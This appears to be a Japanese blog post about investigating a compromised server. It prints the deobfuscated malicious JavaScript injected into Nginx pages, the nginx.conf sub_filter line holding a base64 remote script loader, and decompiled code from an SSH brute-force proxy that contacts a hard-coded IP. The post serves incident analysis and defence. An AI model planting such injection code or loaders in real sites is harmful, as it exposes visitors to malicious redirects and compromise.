0x01 原因#
私が普段通りに PVE を開いて原神をプレイしようとしたとき、なんと Nginx (1.18) のデフォルトページに JS が注入されていることに気づきました。彼は JQuery に偽装していて、とても面白いです。
JS 逆混淆#
この JS を確認すると、混淆されていることがわかりましたので、逆混淆を行います。
逆混淆されたコードは以下の通りです:
(() => {
const config = {
key: "13792427ab60437bafb55088e45e0e06",
address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",
imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif",
jumpPercent: 100, // パーセンテージ制御
jumpCount: 1, // 毎日最大何回ポップアップするか
debug: false // デバッグスイッチ(true = 強制ポップアップ)
};
function createPopup() {
if (document.getElementById("popup-container")) return;
const html = `
<div id="popup-container"
style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.6);z-index:999999;">
<div id="popup-box"
style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
border-radius:12px;max-width:90%;background:transparent;">
<div style="text-align:right;position:absolute;top:-35px;right:-5px;">
<span id="popup-close"
style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
transition:color 0.3s;">✖</span>
</div>
<div style="text-align:center;">
<img id="popup-image" alt="クリックして入る"
style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">
</div>
</div>
</div>`;
document.body.insertAdjacentHTML("beforeend", html);
}
function showPopup() {
createPopup();
const popup = document.getElementById("popup-container");
const box = document.getElementById("popup-box");
const img = document.getElementById("popup-image");
const closeBtn = document.getElementById("popup-close");
if (popup) popup.style.display = "block";
if (img) {
img.src = config.imageUrl;
img.addEventListener("click", () => window.location.href = config.address);
}
if (closeBtn) {
closeBtn.addEventListener("click", () => popup.style.display = "none");
closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
}
if (popup) popup.addEventListener("click", () => popup.style.display = "none");
if (box) box.addEventListener("click", (e) => e.stopPropagation());
}
function conditionCheck() {
if (config.debug) { showPopup(); return; }
let data = {};
try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
const today = new Date().toISOString().split("T")[0];
if (data.date !== today) data = { date: today, count: 0 };
if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;
// 中国本土のIPのみ許可
fetch("https://api.ip.sb/geoip")
.then(r => r.json())
.then(json => {
console.log("GeoIPの返却:", json);
if (json.country_code === "CN") {
data.count++;
localStorage.setItem(config.key, JSON.stringify(data));
showPopup();
}
})
.catch(err => console.warn("GeoIP失敗", err));
}
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", conditionCheck);
} else {
conditionCheck();
}
})();
ポルノ広告#
これは毎回トリガーされるスクリプトではないことがわかります。皆さんの好奇心を満たすために、私はすぐに実行してみます。
0x02 位置#
これは国内のあるサーバー提供者が提供する、寧波にあるサーバーです。サーバーはある会社名義で登録されています。このような厳しい条件下で攻撃が行われるのは非常に興味深いです。それでは、被害者の Nginx から調査を始めましょう。
root@server-rMGU1XbC:~# curl 127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>このページが表示される場合、nginxウェブサーバーが正常にインストールされ、動作しています。さらなる設定が必要です。</p>
<p>オンラインドキュメントとサポートについては、<a href="http://nginx.org/">nginx.org</a>をご参照ください。<br/>
商業サポートは<a href="http://nginx.com/">nginx.com</a>で利用可能です。</p>
<p><em>nginxをご利用いただきありがとうございます。</em></p>
</body>
</html>
サーバーにログインした後、ローカルにリクエストを行うと、やはり汚染されていることがわかりました。それでは、どこが攻撃されたのかを順に調査していきましょう。
まずは Nginx の設定ファイルを見てみましょう。
cat /etc/nginx/nginx.conf
...
sub_filter_types text/html;
sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>';
sub_filter_once off;
...
Nginx のすべてのウェブページにヘッダーが追加されていることがわかります。
root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>このページが表示される場合、nginxウェブサーバーが正常にインストールされ、動作しています。さらなる設定が必要です。</p>
<p>オンラインドキュメントとサポートについては、<a href="http://nginx.org/">nginx.org</a>をご参照ください。<br/>
商業サポートは<a href="http://nginx.com/">nginx.com</a>で利用可能です。</p>
<p><em>nginxをご利用いただきありがとうございます。</em></p>
</body>
</html>
ローカルの Nginx のホームページファイルは変更されていないので、Nginx 自体が攻撃されていないか再確認します。
root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx
1317754528e1c486b6f1e8b363062683 /usr/sbin/nginx
問題はないようです。それでは、誰が Nginx の設定を変更したのでしょうか。
0x03 調査#
lsof で確認してみましょう。
proxy-age 3906587 root 6u IPv4 643527364 0t0 TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587 root 7u IPv4 643523331 0t0 TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587 root 8u IPv4 643527858 0t0 TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587 root 9u IPv4 643486279 0t0 TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587 root 10u IPv4 643524301 0t0 TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587 root 11u IPv4 643524645 0t0 TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)
proxy-agent#
PID を使ってこれが何かを確認します。
root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
proxy-age 3906587 root cwd DIR 8,17 4096 1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root rtd DIR 8,17 4096 2 /
proxy-age 3906587 root txt REG 8,17 8587347 2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root mem REG 8,17 2029592 15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root mem REG 8,17 157224 15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root mem REG 8,17 101352 15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root mem REG 8,17 191504 15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root 0r FIFO 0,13 0t0 174659017 pipe
proxy-age 3906587 root 1w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 2w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 3w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 4u a_inode 0,14 0 11318 [eventpoll]
proxy-age 3906587 root 5u a_inode 0,14 0 11318 [eventfd]
非常に典型的な/tmp
パスです。ちょっと見てみましょう。
root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
. .XIM-unix cc.2 newpop sshbot uv-5abec762cab0104e.lock
.. .font-unix cc.3 nginx-test systemd-private-8ad1e99f07844f46aa091036c4b902b8-ModemManager.service-hcplzi
.ICE-unix .mjdjuxxcydy envnew nginx_cache systemd-private-8ad1e99f07844f46aa091036c4b902b8-systemd-logind.service-FYj7gj
.Test-unix aa.txt envnew.tgz nus systemd-private-8ad1e99f07844f46aa091036c4b902b8-systemd-timesyncd.service-CEKp4h
.X11-unix cc.1 initial.log snap-private-tmp systemd-private-8ad1e99f07844f46aa091036c4b902b8
この proxy-agent があるディレクトリ.mjdjuxxcydy
やnewpop
、sshbot
は非常に疑わしいです。適当に一つをローカルに持ってきてみましょう。
まずは Qihoo 360 に送って実証してから、自分でじっくり分析します。
❯ file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped
《with debug_info, not stripped》
Go 言語で書かれていて、デバッグ情報が残っています。ちょっと見てみましょう。
❯ ldd proxy-agent
linux-vdso.so.1 (0x00007fdb32bb8000)
libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)
特に問題はありません。IDA でちょっと見てみましょう。
v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v5 + 8);
v.len = v1;
v88.str = (uint8 *)"Failed to fetch password: %v\n";
v88.len = 29LL;
v96.array = (interface__0 *)&v;
v96.len = 1LL;
log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic: nmsys= locks= dying= allocsrax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs Signal signal m->g0= pad1= pad2= text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host<>idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on != allgallpitabsbrkdead is LEAFbase of ) = <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat -%sErrorhttpswrite&"':***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB, got= ...\n max=scav ptr ] = (trap:init ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v20 + 8);
v.len = v22;
v89.str = (uint8 *)"Invalid timeout value: %v";
v89.len = 25LL;
p_v = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
*(string_0 *)_r0.len,
*(_slice_main_domainIP *)&v16[-8],
*(_slice_main_domainIP *)&v16[16],
v56,
v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
v91.len = 48LL;
v27 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v93.str = (uint8 *)"Failed to load passwords from file: %v";
v93.len = 38LL;
v30 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
v95.str = (uint8 *)"Incorrect password. Exiting...\n";
v95.len = 31LL;
v97.array = 0LL;
*(_OWORD *)&v97.len = 0uLL;
log_Fatalf(v95, v97);
}
各関数を注意深く見た結果、このソフトウェアは Nginx のページが改ざんされる原因ではなく、私たちのマシンをプロキシとして使って他のサーバーを攻撃するためのプロキシソフトウェアであることがわかりました。それでは、さらに分析を続けます。
brute#
sshbot
フォルダに入ると、brute
という実行ファイルが見つかりました。
brute
はサーバーのアカウントとパスワードを破壊するために使用され、proxy-agent
と組み合わせて他の被害者を攻撃します。
dockers#
ps aux
を確認すると、夏休みに起動した多くのdockers
プロセスが見つかりました。表示された実行パスはありますが、実地調査ではファイルがすでに削除されており、コアダンプだけが残っていました。
root 3578741 0.0 0.1 15896 3828 ? S Jul17 5:09 /usr/sbin/dockers
root 3664316 0.0 0.1 15900 3836 ? S Jul17 0:31 /usr/sbin/dockers
root 3690959 0.0 0.2 16028 3968 ? S Jul18 4:58 /usr/sbin/dockers
root 3694008 0.0 0.1 16032 3904 ? S Jul18 5:01 /usr/sbin/dockers
root 3694116 0.0 0.1 15892 3816 ? S Jul18 4:54 /usr/sbin/dockers
root 3694272 0.0 0.1 16032 3840 ? S Jul18 4:56 /usr/sbin/dockers
root 3695142 0.0 0.1 15900 3824 ? S Jul18 5:06 /usr/sbin/dockers
root 3696764 0.0 0.1 15900 3840 ? S Jul18 4:54 /usr/sbin/dockers
root 3698274 0.0 0.1 16024 3868 ? S Jul18 4:57 /usr/sbin/dockers
root 3701017 0.0 0.1 15900 3836 ? S Jul18 4:59 /usr/sbin/dockers
root 3701045 0.0 0.1 15896 3832 ? S Jul18 5:05 /usr/sbin/dockers
root 3790827 0.0 0.2 15896 4212 ? S Jul18 4:58 /usr/sbin/dockers
root 3829224 0.0 0.2 15900 4160 ? S Jul19 5:00 /usr/sbin/dockers
適当に一つをgcore
でメモリダンプを取得し、コアダンプを得ました。
gcore -o ./dump 3829224
IDA で見てみましょう。
Perl スクリプトのようです。文字列をさらに見てみましょう。
PnP と IRC、間違いなくボットネットです。dockers
はおそらく私たちの上位サーバーを制御し、私たちを使って他の肉鶏を制御するためのソフトウェアです。
lsof
で dockers の通信 IP を確認し、どの肉鶏がいるのかを見てみましょう。
なんとスイスにいることがわかりました。
0x04 水落ち石出#
ps aux
を続けて確認すると、長い間実行されていたsshd
プロセスが見つかり、このスイスの185.208.158.91
の IP がずっと私たちのサーバーに接続していることがわかりました。本当に大胆ですね、全く隠そうともしません。
root 3809994 57.6 0.2 16656 5564 ? R Aug20 18319:18 /usr/sbin/sshd -i
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp 0 0 110.xxx.98.xxx:39290 185.208.158.91:6667 ESTABLISHED 3809994/sshd -i
この IP を使って SSH 接続しているものを全体検索してみます。
sudo grep -r "185.208.158.91" /etc /var /home
ログが見つかりました。
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.
《Accepted password》
サーバーにはブルートフォース攻撃失敗時の ban 防御プログラムがあるはずなのに、どうしてパスワードが知られてしまったのでしょうか。
(考える)
警戒 *
やはり古い運用者もこういうミスを犯すことがあります。元々、合資会社と同級生とこのサーバーを購入する際に、何度も「簡単なパスワードを設定しないように」と警告していたのに、複雑なパスワードは覚えにくい、トークンログインは不便だといった理由でごまかされてしまい、結局何も解決しませんでした。
何かソフトウェアが古すぎて CVE が見つかったのかと思っていましたが、結局はソーシャルエンジニアリングが技術よりも強いということですね。
今、最も急務なのはシステムを再インストールし、パスワードを変更し、その後ブログを書いて自分に警告することです。
0x05 後記#
誰が 20GB のサーバーに NAS をインストールしたのか、使いにくいのかどうかはわかりませんが、ユーザーデータをパーティション分けしていないため、システムを再インストールするとすべてのデータが消えてしまいます。